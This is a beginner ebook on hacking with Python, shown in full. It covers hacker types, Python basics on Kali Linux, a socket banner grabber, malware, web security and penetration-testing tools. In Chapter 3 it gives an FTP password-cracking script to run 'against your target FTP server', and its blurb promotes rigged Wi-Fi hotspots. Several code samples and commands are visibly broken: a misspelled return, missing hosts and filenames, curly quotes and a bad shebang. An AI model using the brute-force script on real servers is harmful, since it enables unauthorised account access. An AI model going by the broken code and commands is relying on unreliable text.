Pagina principale Hacking Hacking Practical Guide for Beginners (Hacking With Python)

Hacking Hacking Practical Guide for Beginners (Hacking With Python)

Hacking. In the digital age the word conjures up images of individuals in darkened basements, breaking into multi-national company’s computer systems, leaking sensitive information and living on takeaways – never seeing the light of day. But reality is very different and there are many, who are novices at hacking, living perfectly everyday lives, who are eager to learn more on the subject.
In this new book, Hacking: Hacking Practical Guide for Beginners you will find all the information you need to become a skilled hacker. Your experience and ability is irrelevant.
This comprehensive book is designed specifically for inexperienced hackers and will arm you with a multitude of modern hacking knowledge and techniques.
It is not limited to theoretical information and contains detailed practical tips, tricks and strategies which you can employ to hack your targets, as well as
The basics of hacking and the different types of hackers
Detailed study plans for budding hackers
How to improve your skills in a short period of time
How to write your own codes using the Python programming language
How to become a skilled hacker and penetration tester
How to set up a rigged Wi-Fi hotspot
Writing codes and programs using Python
Collect information using certain hacking tools
Protect yourself from other hackers
And a whole lot more…
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Hacking Practical Guide for Beginners

By: Jeff Simon

© Copyright 2016 by Jeff Simon - All rights reserved.

This document is geared towards providing exact and reliable information in regards to the
topic and issue covered. The publication is sold with the idea that the publisher is not
required to render accounting, officially permitted, or otherwise, qualified services. If
advice is necessary, legal or professional, a practiced individual in the profession should
be ordered.
From a Declaration of Principles which was accepted and approved equally by a
Committee of the American Bar Association and a Committee of Publishers and
In no way is it legal to reproduce, duplicate, or transmit any part of this document in either
electronic means or in printed format. Recording of this publication is strictly prohibited
and any storage of this document is not allowed unless with written permission from the
All rights reserved.
The information provided herein is stated to be truthful and consistent, in that any liability,
in terms of inattention or otherwise, by any usage or abuse of any policies, processes, or
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Under no circumstances will any legal responsibility or blame be held against the
publisher for any reparation, damages, or monetary loss due to the information herein,
either directly or indirectly.
Respective authors own all copyrights not held by the publisher.
The information herein is offered for informational purposes solely, and is universal as so.
The presentation of the information is without contract or any type of guarantee assurance.
The trademarks that are used are without any consent, and the publication of the trademark
is without permission or backing by the trademark owner. All trademarks and brands
within this book are for clarifying purposes only and are the owned by the owners
themselves, not affiliated with this document.

I want to thank you and ; congratulate you for downloading the book, “Hacking: Hacking
for Beginners”.
This book contains proven steps and strategies on how to learn the fundamentals of
This eBook will teach you the basic principles of hacking. It will explain the three types of
hackers as well as the tools that you can use. It will give you a detailed study plan on how
to improve your skills and knowledge in a short period of time. In addition, this book will
teach you how to use the Python programming language.
An entire chapter is dedicated to penetration testing. That chapter will explain the different
parts and requirements of an effective test. Additionally, that material will arm you with
specific tools and techniques that you can use in your own “pen tests”.
The lessons that you’ll find in this book rely on an operating system called Kali Linux.
Kali is the preferred OS of hackers and penetration testers. This OS contains an extensive
collection of hacking tools. With Kali, you won’t have to download and install extra
programs. You can use it as is.
This eBook will also discuss defense-oriented topics such as malware protection. This
way, you’ll know what to do in case you have to attack a target or thwart a hacker’s
If you’re looking for a comprehensive book about basic hacking, this is the book you
Thanks again for downloading this book, I hope you enjoy it!

Table of Contents
Chapter 1: The Fundamentals of Hacking
Chapter 2: Hacking - A Guide for Beginners
Chapter 3: How to Hack with Python
Chapter 4: Basic Computer Security
Chapter 5: Penetration Testing
Chapter 6: Specific Hacking Techniques
Chapter 7: How to Protect Yourself

Chapter 1: The Fundamentals of Hacking
There are three types of hackers:
1. White hat
2. Black hat
3. Gray hat.
A white hat (also known as ethical) hacker tries to breach network systems in order to help
businesses and organizations in improving their digital defenses. A black hat hacker,
meanwhile, accesses digital records and/or devices for malicious purposes. A gray hat
hacker is a combination of the first two types: he may be a white hat this time and become
a black hat in the next.
Important Note: There are laws that prohibit black hat hacking. You can get incarcerated if
you’ll try to access digital information without the owner’s permission. Because of that,
this book will help you become an ethical hacker. It will provide you with tips, tricks, and
techniques that you can use in hacking systems ethically.

Benefits of Ethical Hacking
To protect yourself from thieves, you need to think like one. This principle serves as the
core of white hat hacking.
The total number of hackers is growing each day. And these people are on a continuous
quest to improve their skills and expand their knowledge. If you will consider the
vulnerabilities that exist in machines and digital networks, you will realize the awful state
of security that people have against hackers. You need to protect your system from the bad
guys. To achieve this goal, you should know how to hack.
The goals of a white hat hacker are:
Attack a system without destroying it
Identify system vulnerabilities
Prove that vulnerabilities exist
Help in improving the security of his target

Different Types of Hacking Attacks
Hackers divide their attacks into different types. These types are:

These techniques focus on the end-users (i.e. the people who use the target devices).
Because humans have a natural tendency to trust others, hackers can break through a
system’s defenses without using any electronic tool. These hackers may use “social
engineering” tactics to obtain a user’s trust and gain access to a network or file. You’ll
learn more about social engineering later on.
A hacker may also implement a physical attack against his target. For instance, he may
break into a computer room and access one or more devices that are present. As an
alternative, he may check the dumpsters in the building and try to look for useful
information (e.g. passwords). Hackers refer to this approach as “dumpster diving”.

Hackers can implement this kind of attack easily, since most networks are accessible
through the internet. The most common forms of network attacks are:
Accessing a network using a rigged modem
Taking advantage of vulnerabilities in digital transport mechanisms (e.g. NetBIOS)
Sending a continuous stream of requests to a network
Rigging the system and collecting data packets to access confidential information

Operating System
These attacks play an important role in any hacker’s toolkit. That’s because each computer
has an operating system. And there are a lot of tools that you can use to crack the OS (i.e.
operating system) of a computer.
There are a lot of operating systems out there. However, hackers usually focus on the most
popular ones (e.g. Windows systems). Here are some of the OS attacks that you can use:
Destroying the security of a file system
Deciphering passwords
Attacking pre-installed authentication mechanisms

Taking advantage of vulnerabilities in certain protocols

Some hackers utilize computer programs to attack networks. Often, a hacker gains access
to a machine through a web-based application or an email-related program. The most
popular members of this type are:
Sending “spam” (i.e. junk mail) to people
Installing malware (i.e. malicious software) in target systems
Bypassing security mechanisms (e.g. firewall) through “online” protocols (e.g.

Chapter 2: Hacking - A Guide for Beginners
There are many learning materials for hackers. Most of these materials are free, so you
won’t have to spend any money just to develop your hacking skills. Unfortunately, most of
the hacking resources that you’ll find are created for intermediate and/or expert hackers.
You won’t benefit from the said materials if you are a complete beginner.
In this chapter, you will discover a quick and easy way to become a hacker. The three-step
learning program that you will see here is created for newbies. It will help you master the
basics of hacking using a logical method of learning.

First Step – Learn More about Computers and Networks
Hacking involves computers and networks. It requires advanced computer knowledge and
networking skills. Obviously, you won’t be able to hack a computer if you don’t even
know the difference between TCP/IP and Windows XP. To become a hacker, you must
know the basics of computer-related technology.
It would be best if you’ll expose yourself to different operating systems. More and more
people are switching to Linux systems so you should learn the basics of that OS. Once you
have mastered the basics of computers and networks, understanding how “exploits” and
“vulnerabilities” work will be easy.

Second Step – Read Basic Hacking Books
There are countless hacking books out there. A basic Google search will give you
hundreds of available learning materials. However, since you are new to the hacking
world, you should focus on the basic ideas and principles of hacking. It is tempting to grab
books about advanced topics such as Wireshark utilization or payload selection, but you
won’t benefit from this study method. The ideal learning strategy for a complex concept
(like computer hacking) is to master the basics and build up your knowledge and skills
This eBook will cover the basic aspects of hacking. After reading this book, you’ll be able
to attack systems and understand complex ideas related to digital security.

Third Step – Learn How to Program
If you want to be a skilled hacker, you should know how to create your own programs.
Programming skills are important for anyone who is serious about hacking. It is true that
there are tons of programs and ready-made tools available online. However, relying on
other people’s work is not a good idea. The ability to create your own programs and
modify existing hacking tools can help you greatly in your quest to become a hacking
There are a lot of programming languages that you can choose from. But if you are a total
newbie, you should study Python first. Python is one of the simplest programming
languages out there. However, it is extremely effective in writing codes for hacking
purposes. This is the main reason why many hackers prefer this language over C++ or
Ruby. You’ll learn more about Python in the next chapter.

Chapter 3: How to Hack with Python
Python is one of the best programming languages for hacking. This language is easy to
learn and powerful enough to satisfy all of your programming needs. In this chapter, you’ll
learn the basics of Python. You will know how to launch it, how to write codes with it, and
how to compile it.
Important Note: This chapter assumes that you are using Kali Linux, an operating system
that is created for hackers. Kali Linux contains hundreds of built-in hacking tools that you
can use to test your systems or attack other networks. In addition, this OS is completely
free. To download Kali Linux, please visit:

Screenshot of the Kali Linux OS

How to Get Python Modules
An excellent benefit of using Kali Linux is that it comes with a pre-installed version of
Python. That means you can start writing codes without downloading anything.
The default modules and language library of Python allow you to perform a wide range of
activities. For instance, the ready-made version of Python has exception handling, file
handling, math and number modules, and data types.
Python’s built-in tools and components are enough to create effective hacking tools. But
you can enhance the effectiveness and flexibility of this language by downloading
additional modules from third-party sources. These extra modules are the main reason
why many hackers choose Python for their programming needs. If you want a complete
list of all the available third-party modules for Python, visit this site:

Installing a Module
Just like other Linux systems, Kali Linux requires “wget” when acquiring new files or
programs from the internet. This command downloads your chosen file or program from
its respective repository. Then, you have to decompress the downloaded module and issue
the following command:
python install

Let’s assume that you want to download Nmap (a python module) from To
get this module, you must:
1. Turn on your Kali Linux computer.
2. Launch a terminal (the small window that takes user inputs).
3. Type the following code:
Kali > wget

4. Extract the file by typing:
Kali > tar –xzf python-nmap-0.3.4.tar.gz

5. Access the directory you created by entering:
Kali > cd python-nmap-.03.4/

6. Issue the code given below to finish the process:
Kali > python install

7. If you did everything correctly, your terminal should look like this:

Congratulations. You successfully installed a Python module on your Kali Linux
computer. Now, you can use the said module for your hacking activities.
Important Note: This is the method that you must use to add more modules to your
operating system. It might seem long and complex at first. But once you get used to it,
creating a large collection of third-party modules will be a walk in the park.

How to Write Python Scripts
In this part of the book, you’ll learn how to write codes using the Python language. It will
also explain the fundamental terms, concepts, and syntax of Python codes. Read this
material carefully; it will help you become a knowledgeable programmer and hacker.
Important Note: You need to use a text editor when writing codes. Kali Linux has a builtin text editor called “Leafpad”. As you can see, Kali Linux contains everything you need
to hack computers and systems.

Proper Formatting
Formatting plays an important role in the Python language. The interpreter of Python
groups codes based on their format. Keep in mind that consistency is more important than
precision. You don’t have to follow strict formatting rules. You just have to be consistent
with the format you are using.
For example, if you’ll use double indentation to differentiate a code block, indent each line
of that code block twice. Forgetting this simple rule can lead to error messages and/or
failed attacks.

How to Run a Python File
Nothing beats active learning. To help you master this process, let’s write a basic piece of
code using Leafpad. Here’s the code:
#! /user/bin/python
name=”<Chuck Norris>”
print “Hi, ” + name + “!”

Save the file as “”.
This code consists of three lines. The first one triggers the interpreter of Python. The
second one creates a variable called “name” and sets a value for it. The last line
concatenates the word “Hi” with the user’s input and inserts an exclamation mark.
At this point, you can’t execute the code yet. You must give yourself the permission to run

it first. In Kali Linux, the command that you should use is “chmod”.
Important Note: To learn more about Linux permissions, please check this site:
The code that you must type is:
chmod 755

After issuing that command using a terminal, your screen will show you this:
Hi, Chuck Norris!

How to Add a Comment
You can add comments to your Python codes. In programming, a comment is a word,
sentence, or paragraph that defines what a piece of code can do. It doesn’t affect the
functionality or behavior of the code itself. Adding a comment to your codes isn’t required
but nonetheless advised. Comments will help you remember important information
regarding your codes. Obviously, you don’t want to forget the “internal mechanisms” of
your own programs.
The interpreter of Python skips each comment. That means the interpreter will jump over
words, sentences or paragraphs until it finds a legitimate code block. In Python, you need
to use “#” to set a single-line comment. For multiline comments, you must type three
double quotes. These symbols must appear at the beginning of your comments.
Here are some comments written in the Python language:
1. # Hi, I’m a single-line comment.
2. “””

With Python, you can divide your codes into separate modules. You must “import” a
module in order to use it. When importing a module, you will access the classes, methods,
and functions (you’ll learn about these later) that are present inside that module. This
feature is one of the major reasons why Python is the preferred computer language of
computer hackers.

Object-Oriented Programming
At this point, it’s important to discuss object-oriented programming (or OOP). OOP is a
coding model that serves as the core principle behind major computer languages (e.g.
Java). You need to understand OOP if you want to be a skilled hacker.

The Components of an Object
Each object has methods (things it can do) and properties (states or attributes).
OOP allows programmers to link their activities with the real world. For instance, a
computer has methods (e.g. turns on, accesses the internet, launches applications, etc.) and
properties (e.g. available space, processing speed, brand, etc.). If you’ll think of OOP as a
human language, objects are nouns, methods are verbs, and properties are adjectives.
Each object belongs to a class. A computer, for example, belongs to the class called
“machines”. “Machines” is the class, “computers’ is a subclass, and “laptops” is a subsubclass.
An object gets the characteristics of its class.

Variables point to information that exists in a computer’s memory. In Python, this memory
can keep different pieces of data (e.g. strings, lists, integers, Booleans, dictionaries, real
numbers, etc.).
Variable types act like classes. The script you’ll see below shows some of these types.
Launch a text editor and type the following code:
SampleStringVariable = “This is an awesome variable.”;
SampleList = [10,20,30,40,50]
SampleDictionary = {‘example’: ‘Hacker’, ‘number’: 23}
print SampleStringVariable

After running that script, you will see the following message on your screen:
This is an awesome variable.
Important Note: Python can choose the right type of variable on your behalf. You don’t
have to declare the variable before setting its value.

The Python language comes with preinstalled functions. Kali Linux has an extensive
collection of functions, although you may download more from online libraries. Here are
some functions that you’ll use in your programs:
int() – Use this function to truncate numeric data. It simply gives the integer part of
the argument.
len() – This function counts the items in a list.
exit() – This function lets you exit a program.
max() – With this function, you can determine the highest value of a list.
type() – Use this function to identify the data type of a Python object.
float() – This function converts its argument into a floating-point numeral.
sorted() – Use this function to sort the entries of a list.
range() – This function gives a list of numbers between two specific values. You
need to set the said values as the function’s arguments.

Most programming languages use arrays. An array is a collection of different objects. You
may retrieve an entry from an array by specifying the position of the former. For example,
you can get the fourth value of an array by typing [4]. Python has a similar feature, but it
is known as “list”.
Python lists are “iterable”. That means you can use them for your loop statements (you’ll
learn more about loops later). Let’s assume that you want to retrieve the third element of
the “SampleList” (i.e. the one you created earlier). Here are the things that you should do:
1. Type the word “print”. This command allows you to display information.
2. Specify the name of the list (i.e. SampleList).
3. Add a pair of brackets.

4. Insert “2” between the brackets. This number signifies the position of the item you
want to retrieve. It is important to note that the numbering begins at zero. Thus,
typing “1” will give you the second element, typing “2” will give you the third
element, etc.
The Python script should look like this:
print SampleList[2]

If you did everything correctly, your terminal should display this:

How to Network with the Python Language
Python has a module called “socket”. This module allows you to build network
connections using the Python language. Let’s see how this module works. For this
example, you’ll use “socket” to build a TCP (Transmission Control Protocol) connection.
The steps that you need to take are:
1. Import the right module.
2. Create a variable that belongs to a class called “socket”. Set “practice” as the
variable’s name.
3. Use the method named “connect()” to establish a connection to a port. The actual
process ends here. The remaining steps will show you some of the things you can
do after establishing a connection.

Use “recv” to acquire 1024 data bytes from the current socket.
Save the information in a new variable called “sample”.
Print the information inside the “sample” variable.
Terminate the connection.
Save the code as “samplesocket” and issue “chmod”.

Your code should look like this:
#!usr/bin/env python

import socket

practice = socket.socket()
practice.connect((“”, 22))

sample = practice.recv(1024)
print sample


Run that code and link your computer to another one using the 22nd port. If SSH (Secure
Socket Shell) is active in that port, you will get the banner of the second computer into
your “sample” variable. Then, the information will appear on your screen.
Basically, the code you created is a “banner grabber”.

A dictionary is an object that can hold items (called “elements”). You can use a dictionary
to record the usernames of your targets or the vulnerabilities of a network.
Dictionaries require a key-value pair. They can store several copies of a value. However,
each key must be unique. Like a Python list, a dictionary is iterable. You can use it with
your “for” statements to create complex scripts. In addition, you may use a dictionary to
create your own password crackers.
The syntax for creating a new dictionary is:
dict = {firstkey:firstvalue, secondkey:secondvalue, thirdkey:thirdvalue…}

Control Statements
Computer programs need the ability to decide. In the Python language, you have several
options on how to manage the arrangement of your code. For example, you may combine
the “if” and “else” statements to create powerful hacking tools.
Let’s discuss some of the most popular control statements of Python:

The “if” Statement
The syntax of this statement is
if <your Python expression>

Important Note: You must indent the statement’s “control block” (the code block that
comes after the expression).

The “if …else” Statement
To use this statement, you must use the following syntax:
if <your Python expression>

The script given below checks the “ID” of the current user. If the value is zero, the
terminal will display “Hey, you are the root user.” If the value is non-zero, the resulting
message will be “Hey, you are an ordinary user.”
If userid == 0:
print “Hay, you are the root user.”
print “Hay, you are an ordinary user.”

A loop is another powerful feature of Python. The most popular forms of loops are “for”
and “while”. Let’s discuss each form in detail:
1. The “for” Loop
This kind of loop sets data from a Python object (e.g. list) to loop a variable
continuously. In the following example, the “for” loop will enter different
passwords = [“ftp”, “sample”, “user”, “admin”, “backup”, “password”]
for password in passwords
attempt = connect(username,password)

2. The “while” Loop
A while loop checks the value of a Boolean statement and executes a piece of
code while the value of the statement is “true”. Keep in mind that Boolean
statements only have two possible values: (1) true, or (2) false.

How to Create a Password Cracker
At this point, you’ve learned many things about the Python language. Let’s use that
knowledge to create a hacking tool: a password cracker. The program that you will create
is designed for FTP (File Transfer Protocol) accounts. Here are the steps:
1. Launch a text editor.
2. Import three modules: (1) socket, (2) re, and (3) sys.

Generate one socket that connects to a specific IP address through the 21st port.
Create a variable.
Generate a list named “passwords” and fill it with various passwords.
Write a loop to test each password. The process will continue until all of the
passwords have been used or the program gets “230” as a response from the target
FTP server.

The code that you must type is:
#!usr/bin/ python

import socket
import re
import sys
def connect(username,password):
sample = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print “[*] Checking “+ username + “:” + password
sample.connect((, 21))
data = sample.recv(1024)
sample.send(‘USER ‘ + username + ‘\r\n’)
data = sample.recv(1024)
sample.send(‘PASS ‘ + password + ‘\r\n’)
data = sample.recv(3)
sample.send(‘QUIT \r\n’)

returen data
username = “SampleName”
passwords = [“123”, “ftp”, “root”, “admin”, “test”, “backup”, “password”]
for password in passwords:
attempt = connect(username, password)
if attempt == “230”:
print “[*] password found: ” + password

Save the file as “”. Then, obtain the permission to execute the program
and run it against your target FTP server.

Important Note: The code given above isn’t cast in stone. You may modify it according to
your preferences and/or situation. Once you become a skilled Python programmer, you
will be able to improve the flexibility and effectiveness of this password cracker.

Chapter 4: Basic Computer Security
This chapter will focus on topics related to computer security (e.g. privacy, networking,
passwords, etc.). After reading this article, you will know how to protect yourself from
other hackers. You will also know how to execute attacks against the defenses of your
targets. You must read this material carefully: computer security is important for the
“offense” and “defense” of hacking.

You should treat security as an important part of using a computer. You are probably using
the internet to perform a research, read your emails, buy stuff, or sell your own
merchandise. These things have become easier because of computers and networks.
However, this convenience comes with a hefty price: lack of security.
The following tips will help you in protecting yourself from hackers:
Don’t share your usernames and passwords to anyone (not even your closest
Read the security/privacy policies of each site that you will access before entering
personal data.
Don’t buy anything from untrusted sites. The last thing you want to do is give your
money and/or financial information to unscrupulous individuals. If you want to buy
something online, look for trustworthy sites such as and
Do not share the login credentials of your email accounts with other people. Some
emails contain private and/or confidential information.
Keep in mind that keeping your passwords secret isn’t enough. A hacker can still access
that piece of information through a keylogger. Basically, a keylogger is a program that
records all the keys that you press. To protect your computer from keyloggers, you should:
Make sure that your computer’s firewall is on
Run spyware/adware scanners on a regular basis
Use an on-screen keyboard to enter your login credentials
Install an anti-malware program on your machine

The term “malware” refers to programs that are designed to “infect” an electronic device
(e.g. computer, tablet, smartphone, etc.). Let’s discuss the different types of malware:

Basically, viruses are computer programs that infect other programs. Most viruses run
only when the program they infected runs. This is the main reason why viruses are hard to
detect. A virus has two parts: the “infector” and the “payload”. Keep in mind, however,
that the payload is not required. That means a harmless program is still a virus if it
attaches itself to a trusted computer program.

This term came from the legendary “Trojan Horse”, a large wooden horse that spelled
doom for Troy. In hacking, a Trojan is a program that contains other programs. The
“container” is typically harmless. In fact, it can be a program that attracts unsuspecting
users. Once a person downloads and installs a Trojan program, the malware inside will
spread in the target machine.

This is one of the most dangerous malware out there. Basically, spyware records the
activities you do on your computer and transmits the data to the hacker. This data
transmission occurs via the internet. Hackers divide spyware into two types: harmless and
harmful. Harmless spyware focuses on non-confidential data (e.g. the websites you visit).
Harmful spyware, on the other hand, collects confidential information (e.g. passwords).

Basically, adware is a form of malware that shows advertisements on a person’s computer.
This malware becomes extremely active whenever the infected machine is online.
It is true that adware is one of the safest forms of malicious programs. However, it can be

frustrating if a pop-up advertisement will appear whenever you click on a browser.

How to Fight Malicious Programs
Staying away from unscrupulous sites can help you prevent malware infection. However,
it is likely that some malicious programs will still latch onto your machine. It would be
best if you will install a reputable anti-malware program and scan your computer
regularly. Here are some of the most popular antivirus programs today:
Norton Security
AVG Internet Security
Avast Antivirus
McAfee Antivirus
Important Note: If you’re an active internet user, you should scan your computer for
malware at least once a week. Adjust this frequency to twice or thrice a week if you’re
dealing with confidential information.

Web Security
Hacking and digital security are not limited to computers. These topics also apply to
websites. In this part of the book, you’ll learn a lot about the basic defenses of a website.
You can use this information to protect your site from hackers or launch attacks against
your targets.

The Fundamentals
Website security consists of two aspects: internal and external. The internal aspect refers
to the nature of the information you are handling. For instance, your website is secure if
you are not dealing with confidential data. Few hackers would attack your site if they
won’t benefit from it. The external aspect, on the other hand, involves the settings of your
website, the applications you installed on it, and the codes you used in creating it.

How to Keep a Website Secure
The best way to keep a site secure is by turning it off. This way, hackers won’t have any
way to access your files. If you need a live website, however, you should minimize the
open ports and services that you offer. Unfortunately, these options are not applicable for
most businesses and organizations. That means a lot of websites are prone to hacking
Important Note: Websites that have open ports, services, and different scripting languages
are vulnerable to hackers. That’s because a hacker can use a port, service, or computer
language to bypass the defenses of a website.
You can protect your site by updating all of its applications regularly. You also need to
apply security updates and patches on your website.

Website Vulnerabilities
Here’s a basic truth: your website has vulnerabilities. It can be an open port, an active
service, or a fault in the code used in crafting your site. These vulnerabilities serve as
doors that hackers can use to get inside your network or server. In addition, hackers tend
to share their knowledge with others. If a hacker detects a vulnerability in a popular app or

website, it’s likely that he will share the information with others. He might also create a
hacking tool for that target and distribute the former to his “brothers” and/or “sisters”.
It’s important to keep yourself updated with the latest vulnerabilities of your systems. Get
the latest patch for your website whenever possible.

Two Defense Strategies
Here are two strategies that you can choose from:
1. Build Strong Defenses – This strategy requires constant attention and effort from
the website owner or his “IT people”. With this strategy, you need to secure the
latest updates and patches for your site, review your online apps regularly, and hire
experienced programmers to work on your website.
2. Detect and Fix Vulnerabilities – This strategy relies on a website scanning program
or service. This “web scanner” looks for existing vulnerabilities in your apps,
equipment, and website scripts.
The first strategy is logical: you’ll build a “high wall” around your website to make sure
that hackers can’t attack it. However, it requires a lot of time, effort, and attention. That is
the main reason why website owners prefer the second strategy. Obviously, it is better to
check whether vulnerability actually exists than building “walls” to protect imaginary
weaknesses. Here, you will only spend time, effort, and money on fixing vulnerability
once the existence of that vulnerability has been proven.

Chapter 5: Penetration Testing
Penetration testing (also called ethical hacking) is the process of attacking a network or
system to detect and fix the target’s weaknesses. Businesses are willing to shell out some
cash in order to protect their systems from black hat hackers. Because of this, penetration
testing serves as a profitable and exciting activity for ethical hackers.
This chapter will teach you the basics of penetration testing. It will explain the core
principles of “pen testing” and give you a list of tools that you must use. In addition, it
will provide you with a step-by-step plan for conducting a penetration test.

Penetration Testing – The Basics
A penetration tester tries to breach the defenses of his target without prior access to any
username, password, or other related information. The tester will use his skills, tools, and
knowledge to obtain data related to his target and prove the existence of vulnerabilities.
When attacking a local network, a penetration test would be considered successful if the
tester successfully collects confidential information.
As you can see, penetration testing has a lot of similarities with malicious hacking. There
are two major differences between these two: permission and the hacker’s intentions. A
tester has the permission to attack his target. And his main goal is to help his clients
improve their digital security. In contrast, malicious hackers don’t ask for the target’s
permission. They simply perform attacks in order to steal information, destroy networks,
or attain other horrible goals.
Often, a tester needs to attack his target as a basic user. He must enhance his access rights
and/or collect information that other basic users cannot reach.
Some clients want the tester to focus on a single vulnerability. In most cases, however, a
tester must record each weakness that he will discover. The repeatability of the hacking
process is important. Your clients won’t believe your findings if you can’t repeat what you

The Rules of Penetration Testing
Remember that there’s a fine line between penetration testing and malicious hacking. To
make sure that you will not “go over” to the dark side, follow these simple rules:

Focus on Ethics
You should work as a professional. Consider your morals and personal principles. It
doesn’t matter whether you’re attacking your own computer or testing a company’s
network: all of your activities must be aligned with your goals. Do not aim for any hidden
As an ethical hacker, trustworthiness is your main asset. Never use client-related
information for personal purposes. If you’ll ignore this rule, you might find yourself
behind bars.

Respect Privacy
Every piece of information that you’ll collect during a penetration test is important. Never
use that data to gather corporate details or spy on other people. If you have to share any
information, talk to the authorized personnel.

Don’t Crash Any System
Inexperienced hackers usually crash their targets accidentally. This tendency results from
poor planning and preparation. Most beginners don’t even read the instructions that come
with the tools they are using.
Your system can experience DoS (denial-of-service) during a penetration test. This often
happens when the hacker runs multiple tests simultaneously. It would be best if you’ll wait
for a test to finish before running another one. Don’t assume that your target can survive
your attacks without any form of damage.
Important Note: Your goal is to help your clients in improving their digital security. The
last thing you want to do is bring down their entire network while you’re conducting a
test. This event will ruin your reputation as a hacker.

Penetration Testing – The Process
Here’s a detailed description of the process involved in penetration testing:

Secure Permission
Don’t do anything on your target until you have written permission from your client. This
document can protect you from nasty lawsuits or similar problems. Verbal authorization is
not sufficient when performing hacking attacks. Remember: countries are implementing
strict rules and penalties regarding activities related to hacking.

Formulate a Plan
A plan can boost your chances of succeeding. Hacking a system can be extremely
complicated, especially when you are dealing with modern or unfamiliar systems. The last
thing you want to do is launch an attack with unorganized thoughts and tricks.
When creating a plan, you should:
Specify your target/s
Determine the risks
Determine the schedule and deadline of your penetration test
Specify the methods that you’ll use
Identify the information and access that you will have at the start of your test
Specify the “deliverables” (the output that you’ll submit to your client)
Focus on targets that are vulnerable or important. Once you have tested the
“heavyweights”, the remaining part of the test will be quick and easy.
Here are some targets that you can attack:
Mobile devices (e.g. smartphones)
Operating Systems
Email servers
Network Infrastructure
Computer programs (e.g. email clients)

Important Note: You should be extremely careful when choosing a hacking method.
Consider the effects of that method and how your target will likely respond. For example,
password crackers can lock out legitimate users from the system. This type of accident can
be disastrous during business hours.
Choose Your Tools
Kali Linux contains various hacking tools. If you are using that operating system, you
won’t need to download other programs for your penetration tests. However, Kali’s large
collection of tools can be daunting and/or confusing. You might have problems identifying
the tools you need for each task that you must accomplish.
Here are some of the most popular tools in Kali Linux:
Nmap – You’ll find this program in the toolkit of almost all hackers. It is one of
most powerful tools that you can use when it comes to security auditing and
network discovery. If you are a network administrator, you may also use Nmap in
tracking host uptime, controlling the schedule of your service upgrades, and
checking network inventory.
This tool is perfect for scanning huge computer networks. However, it is also effective
when used against small targets. Because Nmap is popular, you will find lots of available
resources in mastering this program.
Ghost Phisher – This tool is an Ethernet and wireless attack program. It can turn
your computer into an access point (or a hotspot) and hijack other machines. It can
also work with the Metasploit framework (you will learn more about Metasploit
Maltego Teeth – With this program, you will see the threats that are present in your
target’s environment. Maltego Teeth can show the seriousness and complications of
different failure points. You will also discover the trust-based relationships inside
the infrastructure of your target.
This tool uses the internet to collect information about your target system and its users.
Hackers use Maltego Teeth to determine the relationships between:

IP addresses
Wireshark – Many hackers consider this tool as the best analyzer for network
protocols. It allows you to monitor all activities in a network. The major features of
Wireshark are:
It can capture data packets and perform offline analysis
It can perform VoIP (i.e. Voice over Internet Protocol) analysis
It has a user-friendly GUI (graphical user interface)
It can export data to different file types (e.g. CSV, plaintext, XML, etc.)
It can run on different operating systems (e.g. OS X, Linux, NetBSD, etc.)
Exploitdb – The term “exploitdb” is the abbreviation for “Exploit Database”.
Basically, exploitdb is a collection of exploits (i.e. a program that “exploits” a
target’s vulnerability) and the software they can run on. The main purpose of this
database is to provide a comprehensive and up-to-date collection of exploits that
computer researchers and penetration testers can use.
You need to find vulnerability before attacking a target. And you need an exploit that
works on the vulnerability you found. You’ll spend days (or even weeks) just searching
for potential weaknesses and creating effective exploits. With exploitdb, your tasks will
become quick and easy. You just have to run a search for the operating system and/or
program you want to attack, and exploitdb will give you all the information you need.
Aircrack-ng – This is a collection of tools that you can use to test WiFi networks.
With Aircrack-ng, you can check the following aspects of wireless networks:
Testing – You can use it to test your drivers and WiFi cards.
Attacking – Use Aircrack-ng to perform packet injections against your
Cracking – This tool allows you to collect data packets and crack passwords.
Monitoring – You may capture packets of data and save them as a text file.
Then, you may use the resulting files with other hacking tools.
Johnny – This tool is an open-source GUI for “John the Ripper”, a well-known
password cracker. It is possible to use “JTR” as is. However, Johnny can automate
the tasks involved in cracking passwords. In addition, this GUI adds more functions

to the JTR program.

Implement Your Plan
Penetration testing requires persistence. You need to be patient while attacking your target.
Sometimes, cracking a single password can take several days. Carefulness is also
important. Protect the information you’ll gather as much as you can. If other people will
get their hands on your findings, your target will be in extreme danger.
You don’t have to search for potential hackers before running your test. If you can keep
your activities private and secure, you are good to go. This principle is crucial during the
transmission of your findings to your clients. If you have to send the information via
email, you must encrypt it and set a password for it.
You can divide the execution of an attack into four phases:
1. Collect information regarding your target. Google can help you with this task.
2. Trim down your options. If you conducted a successful research, you will have a lot
of potential points of entry. You have limited time so it would be impossible to
check all of those entry points. Evaluate each system and choose the ones that seem
3. Use your tools to reduce your options further. You can use scanners and data packet
collectors to find the best targets for your attack.
4. Conduct your attack and record your findings.

Evaluate the Results
Analyze the data you collected. That data will help you in detecting network
vulnerabilities and proving their existence. Knowledge plays an important role in this task.
You will surely face some difficulties during your first few tries. However, things will
become easy once you have gained the requisite knowledge and experience.
Important Note: Create a written report regarding your findings. Share the data with your
clients to prove that hiring you is one of the best decisions they made.

The Different Forms of Penetration Tests
The form of penetration test that you’ll conduct depends on the needs of your client. In
this part of the book, you’ll learn about the different kinds of “pen tests”.

Black Box Tests
In a black box test, you don’t have any information regarding your target. Your first task is
to research about your client’s network. Your client will define the results they need, but
they won’t give you other pieces of data.
The Advantages
Black box tests offer the following advantages:
The tester will start from scratch. Thus, he will act like a malicious hacker who
wants to access a network.
The tester will have higher chances of detecting conflicts in the network.
The tester doesn’t need to be an expert programmer. Unlike other types of pen tests,
black box tests don’t rely on ready-made scripts.
The Disadvantages
The disadvantages of black box tests are:
It can be time-consuming.
It is extremely complex. The tester needs to spend time and effort in designing and
launching an attack.

White Box Tests
These tests are detailed and comprehensive, since the hacker has access to all the
information related to his target. For example, the hacker can use the IP addresses and
source codes of a network as basis for his attack.
This form of test relies heavily on codes and programming skills.
The Advantages
The main advantages of white box testing are:
It makes sure that each module path is working properly.

It makes sure that each logical decision is verified and comes with the right
Boolean value.
It allows the hacker to detect errors in scripts.
It helps the hacker in identifying design flaws that result from conflicts between the
target’s logical flow and actual implementation.

Gray Box Tests
Here, the hacker has access to some information regarding his target. You may think of a
gray box test as a combination of black box and white box tests.
The Advantages
The hacker can perform the test even without using the network’s source code.
Thus, the penetration test is objective and non-intrusive.
There will be minimal connection between the tester and the developer.
The client doesn’t need to supply every piece of information to the tester. Sharing
private or sensitive information with an outsider is extremely risky, especially if
that third-party is skilled in attacking networks.

Different Facets of a Penetration Test
